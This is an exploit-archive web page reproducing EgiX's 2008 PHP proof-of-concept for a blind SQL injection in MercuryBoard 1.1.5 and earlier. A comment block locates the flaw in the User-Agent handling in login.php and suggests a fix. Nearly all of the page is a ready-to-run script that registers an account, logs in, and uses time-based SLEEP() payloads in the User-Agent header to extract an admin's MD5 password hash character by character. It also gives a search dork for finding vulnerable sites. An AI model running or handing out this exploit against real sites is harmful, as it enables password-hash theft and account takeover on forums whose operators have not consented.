首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MercuryBoard <= 1.1.5 (login.php) Remote Blind SQL Injection Exploit
来源:n0b0d13s[at]gmail[dot]com 作者:EgiX 发布时间:2008-05-20  
<?php

/*
--------------------------------------------------------------------
MercuryBoard <= 1.1.5 (login.php) Remote Blind SQL Injection Exploit
--------------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://www.mercuryboard.com/
dork.....: "Powered by MercuryBoard"
details..: SLEEP() function was added in MySQL 5.0.12, so this PoC works depending on the version of MySQL

[-] do_login() function vulnerable to SQL injection in /func/login.php

52. function do_login()
53. {
54. $this->set_title($this->lang->login_header);
55. $this->tree($this->lang->login_header);
56.
57. //print "agent: $this->agent\n";
58.
59. if (!isset($this->post['submit'])) {
60. $request_uri = $this->get_uri();
61.
62. if (substr($request_uri, -8) == 'register') {
63. $request_uri = $this->self;
64. }
65.
66. return eval($this->template('LOGIN_MAIN'));
67. } else {
68. $username = str_replace('\\', '&#092;', $this->format(stripslashes($this->post['user']), FORMAT_HTMLCHARS | FORMAT_CENSOR));
69.
70. $data  = $this->db->fetch("SELECT user_id, user_password FROM {$this->pre}users WHERE REPLACE(LOWER(user_name), ' ', '')='" . str_replace(' ', '', strtolower($username)) . '\' AND user_id != ' . USER_GUEST_UID . ' LIMIT 1');
71. $pass  = $data['user_password'];
72. $user  = $data['user_id'];
73.
74. $this->post['pass'] = str_replace('$', '', $this->post['pass']);
75. $this->post['pass'] = md5($this->post['pass']);
76.
77. if ($this->post['pass'] == $pass) {
78. if (!setcookie($this->sets['cookie_prefix'] . 'user', $user, $this->time + $this->sets['logintime'], $this->sets['cookie_path'])
79. ||  !setcookie($this->sets['cookie_prefix'] . 'pass', $pass, $this->time + $this->sets['logintime'], $this->sets['cookie_path'])) {
80. return $this->message($this->lang->login_header, $this->lang->login_cookies);
81. }
82.
83. // Delete guest entry
84. $this->db->query("DELETE FROM {$this->pre}active WHERE active_ip='$this->ip' AND active_user_agent='$this->agent'"); <=======
85.
86. return $this->message($this->lang->login_header, $this->lang->login_logged, $this->lang->main_continue, str_replace('&', '&amp;', $this->post['request_uri']), $this->post['request_uri']);

$this->agent (User-Agent header) isn't properly sanitised, so an attacker could be inject arbitrary SQL code in a subquery into the query at line 84

[-] Possible bug fix in /global.php

66. function mercuryboard()
67. {
68. $this->time    = time();
69. $this->query   = isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : null;
70. $this->ip      = $_SERVER['REMOTE_ADDR'];
71. $this->agent   = isset($_SERVER['HTTP_USER_AGENT']) ? addslashes($_SERVER['HTTP_USER_AGENT']) : null; <=======
72. $this->self    = $_SERVER['PHP_SELF'];
73. $this->server  = $_SERVER;
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}

function getmicrotime()
{
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}

function getdelay($query)
{
global $host, $path, $username, $password;

$data = "user={$username}&pass={$password}&submit=1&request_uri=foo";
$packet = "POST {$path}index.php?a=login HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "User-Agent: {$query}\r\n";
$packet.= "Content-Length: ".strlen($data)."\r\n";
$packet.= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet.= "Connection: close\r\n\r\n";
$packet.= $data;

$start = getmicrotime()*1000;
http_send($host, $packet);
$end = getmicrotime()*1000;

return ($end - $start);
}

function getusername($uid)
{
global $host, $path;

$packet = "GET {$path}index.php?a=profile&w={$uid} HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Connection: close\r\n\r\n";
preg_match("/Viewing Profile: (.*)<\/td>/i", http_send($host, $packet), $split);

return $split[1];
}

function register()
{
global $host, $path, $username, $password;

$data = "desuser={$username}&email=foo@null.com&passA={$password}&passB={$password}&submit=1";
$packet = "POST {$path}index.php?a=register HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Content-Length: ".strlen($data)."\r\n";
$packet.= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet.= "Connection: close\r\n\r\n";
$packet.= $data;

http_send($host, $packet);
}

function login()
{
global $host, $path, $username, $password;

$data = "user={$username}&pass={$password}&submit=1&request_uri=foo";
$packet = "POST {$path}index.php?a=login HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Content-Length: ".strlen($data)."\r\n";
$packet.= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet.= "Connection: close\r\n\r\n";
$packet.= $data;

$pattern = "/pass=".md5($password)."/";

return preg_match($pattern, http_send($host, $packet));
}

print "\n+------------------------------------------------------------------+";
print "\n| MercuryBoard <= 1.1.5 Remote Blind SQL Injection Exploit by EgiX |";
print "\n+------------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path [options]\n";
print "\nhost.......: target server (ip/hostname)";
print "\npath.......: path to MercuryBoard directory (example: / or /mercury/)\n";
print "\n-s seconds.: number of seconds for SLEEP() (dafault: 5)";
print "\n-u uid.....: user id (default: 2 - admin)";
print "\n-t prefix..: table's prefix (default: mb)\n";
print "\nExample....: php $argv[0] localhost /mercury/ -s 1";
print "\nExample....: php $argv[0] localhost / -u 3 -t my_prefix\n";
die();
}

$host = $argv[1];
$path = $argv[2];

$username = "pr00f_0f";
$password = "_c0nc3pt";

$opt = array("-s", "-u", "-t");
$md5 = "";
$count = "5";
$uid = "2";
$prefix = "mb";

for ($i = 3; $i < $argc; $i++)
{
if ($argv[$i] == "-s") if (isset($argv[$i+1]) && !in_array($argv[$i+1], $opt)) $count = $argv[++$i];
if ($argv[$i] == "-u") if (isset($argv[$i+1]) && !in_array($argv[$i+1], $opt)) $uid = $argv[++$i];
if ($argv[$i] == "-t") if (isset($argv[$i+1]) && !in_array($argv[$i+1], $opt)) $prefix = $argv[++$i];
}

if (!login())
{
print "\n[-] Trying to register with username '{$username}' and password '{$password}'\n";
register();
if (!login()) die("\n[-] Login failed!\n");
}

$user = getusername($uid);
print "\n[-] Username: {$user}";

$hash = array(0,48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
$index = 1; $md5 = "";
print "\n[-] MD5 Hash: ";

while (!strpos($md5, chr(0)))
{
for ($i = 0, $n = count($hash); $i <= $n; $i++)
{
if ($i == $n) die("\n\n[-] Exploit failed...\n");
$sql = "'OR(SELECT IF(ORD(SUBSTR(user_password,{$index},1))={$hash[$i]},SLEEP({$count}),1) FROM {$prefix}_users WHERE user_id={$uid})#";
if (getdelay($sql) >= ($count * 1000)) { $md5 .= chr($hash[$i]); print chr($hash[$i]); break; }
}

$index++;
}

if (!eregi("[0-9,a-f]{32}", $md5)) print "\n\n[-] Invalid MD5 hash...\n";
else print "\n\n[-] Successfull!\n";

?>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·AlkalinePHP <= 0.80.00 beta (t
·MyPicGallery 1.0 Arbitrary Add
·EntertainmentScript 1.4.0 (pag
·PHP AGTC-Membership System <=
·MeltingIce File System <= 1.0
·Dedecms getip()的漏洞利用
·VLC 0.8.6d SSA Parsing Double
·LulieBlog 1.2 Multiple Remote
·RoomPHPlanning 1.5 Arbitrary A
·Smeego 1.0 (Cookie lang) Local
·FicHive 1.0 (category) Remote
·RevokeBB 1.0 RC11 (search) Rem
  推荐广告
CopyRight © 2002-2025 VFocuS.Net All Rights Reserved